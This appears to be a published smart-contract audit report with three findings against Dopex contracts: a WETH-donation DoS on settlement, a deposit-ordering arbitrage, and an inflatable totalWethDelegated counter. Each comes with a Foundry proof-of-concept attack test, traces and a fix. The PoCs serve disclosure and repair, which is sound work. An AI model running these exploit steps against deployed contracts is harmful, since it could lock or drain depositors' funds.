Dopex - nobody2018's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L201 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L359-L361

Vulnerability details

Impact

When some Put options can be settled, DEFAULT_ADMIN_ROLE can settle these options by calling RdpxV2Core.settle. which will call internally IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss to deduct the loss from _totalCollateral. But there is a check that collateral.balanceOf(address(this)) == _totalCollateral - loss, which can be broken. Malicious users can directly transfer a small amount of WETH to perpetualAtlanticVaultLP in advance to prevent == from being met. This leads to settle revert, which has the following impacts:

• No options can be settled. Core functionality is significantly broken.
• Each option will lock some WETH of perpetualAtlanticVaultLP, which comes from users of perpetualAtlanticVaultLP. If any option cannot be settled, it means that all locked WETH cannot be released. Users can never redeem their funds and suffer a loss of funds.

Proof of Concept

This project is planned to be deployed on ARB. Since L2 does not have a memory pool, it cannot be front-run. Therefore, the attack path used in this report is to transfer a small amount of WETH to perpetualAtlanticVaultLP in advance.

RdpxV2Core.settle will internally call PerpetualAtlanticVault.settle.

File: contracts\perp-vault\PerpetualAtlanticVault.sol
315:   function settle(
316:     uint256[] memory optionIds
317:   )
318:     external
319:     nonReentrant
320:     onlyRole(RDPXV2CORE_ROLE)
321:     returns (uint256 ethAmount, uint256 rdpxAmount)
322:   {
......
359:     IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(
360:       ethAmount
361:     );
......
369:   }

File: contracts\perp-vault\PerpetualAtlanticVaultLP.sol
199:   function subtractLoss(uint256 loss) public onlyPerpVault {
200:     require(
201:->     collateral.balanceOf(address(this)) == _totalCollateral - loss,//@audit this condition can be broken, so tx will revert here
202:       "Not enough collateral was sent out"
203:     );
204:     _totalCollateral -= loss;
205:   }

We notice that the condition used by L201 is collateral.balanceOf(address(this)) == _totalCollateral - loss. collateral.balanceOf(address(this)) can be affected by the outside. Anyone can directly transfer collateral(WETH) to this contract(perpetualAtlanticVaultLP). Therefore this is not a reliable value.

Copy the coded POC below to tests\rdpxV2-core\Unit.t.sol and run forge test --match-path tests/rdpxV2-core/Unit.t.sol --match-test testAllOptionsCannotSettled -vvvv to prove this issue.

File: tests\rdpxV2-core\Unit.t.sol
  function testAllOptionsCannotSettled() public {
    rdpxV2Core.bond(5 * 1e18, 0, address(this));
    rdpxV2Core.bond(1 * 1e18, 0, address(this));

    vault.addToContractWhitelist(address(rdpxV2Core));
    //bob is attacker
    address bob = address(0x123456789);
    weth.transfer(bob, 1e18);
    //bob transfer some weth to vaultLp
    vm.prank(bob);
    weth.transfer(address(vaultLp), 1 gwei);//<----attack step is here
    //as time goes by
    skip(86500);
    rdpxPriceOracle.updateRdpxPrice(1e7);

    vm.expectRevert("Not enough collateral was sent out");
    uint256[] memory _ids = new uint256[](2);
    // test ITM options
    _ids[0] = 0;
    _ids[1] = 1;    
    rdpxV2Core.settle(_ids);//will revert
  }  
/**output
  ......//only kept key infomation  
    │   │   ├─ [1852] PerpetualAtlanticVaultLP::subtractLoss(1102621499550000000)
    │   │   │   ├─ [583] MockToken::balanceOf(PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70]) [staticcall]
    │   │   │   │   └─ ← 98949945057728149801
    │   │   │   └─ ← "Not enough collateral was sent out"
    │   │   └─ ← "Not enough collateral was sent out"
    │   └─ ← "Not enough collateral was sent out"
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 1.24s
**/

Tools Used

Manual Review

Recommended Mitigation Steps

File: contracts\perp-vault\PerpetualAtlanticVaultLP.sol
199:   function subtractLoss(uint256 loss) public onlyPerpVault {
200:     require(
201:-      collateral.balanceOf(address(this)) == _totalCollateral - loss,
201:+      collateral.balanceOf(address(this)) >= _totalCollateral - loss,
202:       "Not enough collateral was sent out"
203:     );
204:     _totalCollateral -= loss;
205:   }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L123-L125

Vulnerability details

Impact

perpetualAtlanticVault.updateFunding() will internally send funding to perpetualAtlanticVaultLp, which will increase _totalCollateral in PerpetualAtlanticVaultLP. In perpetualAtlanticVault.previewDeposit, calculation of the number of shares that can be exchanged for assets depends on _totalCollateral. The larger the _totalCollateral, the less share.

In deposit, call previewDeposit first, and then call perpetualAtlanticVault.updateFunding(). This results in more shares being obtained, opening up risk-free arbitrage opportunities for malicious users.

Proof of Concept

File: contracts\perp-vault\PerpetualAtlanticVaultLP.sol
118:   function deposit(
119:     uint256 assets,
120:     address receiver
121:   ) public virtual returns (uint256 shares) {
122:     // Check for rounding error since we round down in previewDeposit.
123:->   require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");
124: 
125:->   perpetualAtlanticVault.updateFunding();
126: 
127:     // Need to transfer before minting or ERC777s could reenter.
128:     collateral.transferFrom(msg.sender, address(this), assets);
129: 
130:->   _mint(receiver, shares);
131: 
132:     _totalCollateral += assets;
133: 
134:     emit Deposit(msg.sender, receiver, assets, shares);
135:   }

L123, call previewDeposit(assets) to calculate the share to be minted.

L125, perpetualAtlanticVault.updateFunding() will send funding to PerpetualAtlanticVaultLP (that is, this contract). This increases _totalCollateral.

L130, mint share to receiver.

Let's see how previewDeposit calculates share.

File: contracts\perp-vault\PerpetualAtlanticVaultLP.sol
269:   function previewDeposit(uint256 assets) public view returns (uint256) {
270:     return convertToShares(assets);
271:   }
272: 
273:   /// @notice Returns the amount of shares recieved for a given amount of assets
274:   function convertToShares(
275:     uint256 assets
276:   ) public view returns (uint256 shares) {
277:     uint256 supply = totalSupply;
278:     uint256 rdpxPriceInAlphaToken = perpetualAtlanticVault.getUnderlyingPrice();
279: 
280:->   uint256 totalVaultCollateral = totalCollateral() +
281:       ((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8);
282:     return
283:->     supply == 0 ? assets : assets.mulDivDown(supply, totalVaultCollateral);
284:   }

For simplicity, we assume that _rdpxCollateral = 0 and totalSupply > 0, so the above code can be similar to:

uint256 supply = totalSupply;
uint256 totalVaultCollateral = totalCollateral();//=_totalCollateral
return assets.mulDivDown(supply, totalVaultCollateral);

So, shares = assets * totalSupply / _totalCollateral. From this formula we can draw a conclusion: the smaller the _totalCollateral, the larger the shares. From the previous analysis, we see that perpetualAtlanticVault.updateFunding() will increase _totalCollateral. That is to say, in the current implementation, share is calculated before _totalCollateral becomes larger, so the caller will get more share.

This provides an arbitrage opportunity for the attacker to carry out the attack in a tx. Copy the coded POC below to tests\rdpxV2-core\Unit.t.sol and run forge test --match-path tests/rdpxV2-core/Unit.t.sol --match-test testDepositRedeemArbitrage -vvv to prove this issue.

function testDepositRedeemArbitrage() public {
    //initial phrase  
    vault.addToContractWhitelist(address(rdpxV2Core));
    uint256 lpBalanceAfter = weth.balanceOf(address(vaultLp));
    assertEq(lpBalanceAfter, 100 ether);
    address bob = address(0x111111);
    weth.transfer(bob, 10e18);

    rdpxV2Core.bond(5 * 1e18, 0, address(this));
    //next round
    skip(86400 * 7);
    
    uint256 balBefore = weth.balanceOf(bob);
    emit log_named_decimal_uint("[Before attack]bob weth=", balBefore, 18);
    
    vm.startPrank(bob, bob);
    //carry out attack, the following code is in same tx.
    weth.approve(address(vaultLp), 10e18);
    vaultLp.deposit(10 ether, bob);
    vaultLp.redeem(vaultLp.balanceOf(bob), bob, bob);    
    vm.stopPrank();
    emit log_named_decimal_uint("[After  attack]bob weth=", weth.balanceOf(bob), 18);
  }
/**log
[PASS] testDepositRedeemArbitrage() (gas: 1143766)
Logs:
  [Before attack]bob weth=: 10.000000000000000000
  [After  attack]bob weth=: 10.027840909090909090

Test result: ok. 1 passed; 0 failed; finished in 1.22s
**/

Tools Used

Manual Review

Recommended Mitigation Steps

File: contracts\perp-vault\PerpetualAtlanticVaultLP.sol
118:   function deposit(
119:     uint256 assets,
120:     address receiver
121:   ) public virtual returns (uint256 shares) {
122:     // Check for rounding error since we round down in previewDeposit.
123:-    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");
124:- 
125:-    perpetualAtlanticVault.updateFunding();
123:+    perpetualAtlanticVault.updateFunding();
124:+ 
125:+    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");
......
135:   }

Run test code testDepositRedeemArbitrage again, output is as following:

[PASS] testDepositRedeemArbitrage() (gas: 1143745)
Logs:
  [Before attack]bob weth=: 10.000000000000000000
  [After  attack]bob weth=: 9.999999999999999999

Test result: ok. 1 passed; 0 failed; finished in 1.17s

Such a result is expected.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1002 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1110

Vulnerability details

Impact

RdpxV2Core.addToDelegate will transfer the caller's WETH to this contract, and the amount will be accumulated to totalWethDelegated. Users can withdraw unused WETH via RdpxV2Core.withdraw, and the amount withdrawn is not deducted from totalWethDelegated. This allows a malicious user to repeatedly call addToDelegate and withdraw to increase totalWethDelegated until totalWethDelegated equals WETH.balanceOf(address(this)). Finally, sync is called to update reservesAsset[reservesIndex["WETH"]].tokenBalance to 0. If this value is 0, there is the following impacts:

• lowerDepeg cannot use reserveAsset[reservesIndex["WETH"]].tokenBalance, which means that the WETH balance of this contract cannot be used to buy back and burn DpxEth.
• Operations that rely on the return value of getReserveTokenInfo("WETH") are affected.

If totalWethDelegated is increased to greater than WETH.balanceOf(address(this)), sync will revert due to underflow in here. sync is called in multiple contracts:

• UniV3LiquidityAmo._sendTokensToRdpxV2Core, this will cause UniV3LiquidityAmo.addLiquidity/removeLiquidity/swap revert.
• ReLPContract.reLP, if RdpxV2Core.isReLPActive is true, this will cause RdpxV2Core.bondWithDelegate/bond revert. These two functions are core functions in protocol.

Proof of Concept

File: contracts\core\RdpxV2Core.sol
941:   function addToDelegate(
942:     uint256 _amount,
943:     uint256 _fee
944:   ) external returns (uint256) {
......
963:     // add amount to total weth delegated
964:->   totalWethDelegated += _amount;
......
968:   }

975:   function withdraw(
976:     uint256 delegateId
977:   ) external returns (uint256 amountWithdrawn) {
978:     _whenNotPaused();
979:     _validate(delegateId < delegates.length, 14);
980:     Delegate storage delegate = delegates[delegateId];
981:     _validate(delegate.owner == msg.sender, 9);
982: 
983:     amountWithdrawn = delegate.amount - delegate.activeCollateral;
984:     _validate(amountWithdrawn > 0, 15);
985:     delegate.amount = delegate.activeCollateral;
986: 
987:     IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);
988: 
989:     emit LogDelegateWithdraw(delegateId, amountWithdrawn);
990:   }

L964, accumulate _amount to totalWethDelegated.

L985-L989, amountWithdrawn is not deducted from totalWethDelegated.

Therefore, we can see that totalWethDelegated only increases and does not decrease.

File: contracts\core\RdpxV2Core.sol
0995:   function sync() external {
0996:     for (uint256 i = 1; i < reserveAsset.length; i++) {
0997:       uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf(
0998:         address(this)
0999:       );
1000: 
1001:       if (weth == reserveAsset[i].tokenAddress) {
1002:->       balance = balance - totalWethDelegated;
1003:       }
1004:->     reserveAsset[i].tokenBalance = balance;
1005:     }
1006: 
1007:     emit LogSync();
1008:   }

L1002, if reserveAsset[i].tokenAddress == WETH, update balance to balance - totalWethDelegated.

Therefore, a malicious user can exploit this issue to accumulate totalWethDelegated to be equal to IERC20WithBurn(WETH).balanceOf(address(this)) at any time.

Copy the coded POC below to tests\rdpxV2-core\Unit.t.sol and run forge test --match-path tests/rdpxV2-core/Unit.t.sol --match-test testMultiDelegateAndWithdraw -vvv to prove this issue.

function testMultiDelegateAndWithdraw() public {
    //we assume that the amount of weth hold by rdpxV2core is 100e18 
    weth.transfer(address(rdpxV2Core), 100e18);
    rdpxV2Core.sync();
    (,uint256 reserve,) = rdpxV2Core.getReserveTokenInfo("WETH");
    emit log_named_decimal_uint("[Before attack]rdpxV2Core: weth balance=", weth.balanceOf(address(rdpxV2Core)), 18);
    emit log_named_decimal_uint("[Before attack]rdpxV2Core: weth reserve=", reserve, 18);
    //bob is attacker
    address bob = address(0x123456789);
    weth.transfer(bob, 10e18);
    emit log_named_decimal_uint("[Before attack]bob: weth balance=", weth.balanceOf(bob), 18);
    //carry out attack
    emit log_string("******attack1: make weth reserve=0");
    vm.startPrank(bob, bob);
    for(uint256 i; i < 10; ++i) {
      weth.approve(address(rdpxV2Core), 10e18);
      uint256 delegateId = rdpxV2Core.addToDelegate(10e18, 1e8);
      rdpxV2Core.withdraw(delegateId);
    }
    rdpxV2Core.sync();
    vm.stopPrank();

    emit log_named_decimal_uint("[After attack]bob: weth balance=", weth.balanceOf(bob), 18);
    (,reserve,) = rdpxV2Core.getReserveTokenInfo("WETH");
    emit log_named_decimal_uint("[After attack]rdpxV2Core: weth balance=", weth.balanceOf(address(rdpxV2Core)), 18);
    emit log_named_decimal_uint("[After attack]rdpxV2Core: weth reserve=", reserve, 18);

    //continue to make sync revert due to underflow
    emit log_string("******attack2: make sync revert");
    vm.startPrank(bob, bob);
    for(uint256 i; i < 10; ++i) {
      weth.approve(address(rdpxV2Core), 10e18);
      uint256 delegateId = rdpxV2Core.addToDelegate(10e18, 1e8);
      rdpxV2Core.withdraw(delegateId);
    }
    vm.stopPrank();    
    rdpxV2Core.sync();//will revert due to underflow
  }
/**output
[PASS] testMultiDelegateAndWithdraw() (gas: 1222336)
Logs:
  [Before attack]rdpxV2Core: weth balance=: 100.000000000000000000
  [Before attack]rdpxV2Core: weth reserve=: 100.000000000000000000
  [Before attack]bob: weth balance=: 10.000000000000000000
  ******attack1: make weth reserve=0
  [After attack]bob: weth balance=: 10.000000000000000000
  [After attack]rdpxV2Core: weth balance=: 100.000000000000000000
  [After attack]rdpxV2Core: weth reserve=: 0.000000000000000000
  ******attack2: make sync revert
  ..........
  ..........
    ├─ [4573] RdpxV2Core::sync()
    │   ├─ [583] MockToken::balanceOf(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [583] MockToken::balanceOf(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) [staticcall]
    │   │   └─ ← 100000000000000000000
    │   └─ ← "Arithmetic over/underflow"
    └─ ← "Arithmetic over/underflow"

Test result: FAILED. 0 passed; 1 failed; finished in 1.20s
**/

Tools Used

Manual Review

Recommended Mitigation Steps

File: contracts\core\RdpxV2Core.sol
975:   function withdraw(
976:     uint256 delegateId
977:   ) external returns (uint256 amountWithdrawn) {
......
987:     IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);
988:+    totalWethDelegated -= amountWithdrawn;
989:     emit LogDelegateWithdraw(delegateId, amountWithdrawn);
990:   }

Assessed type

Context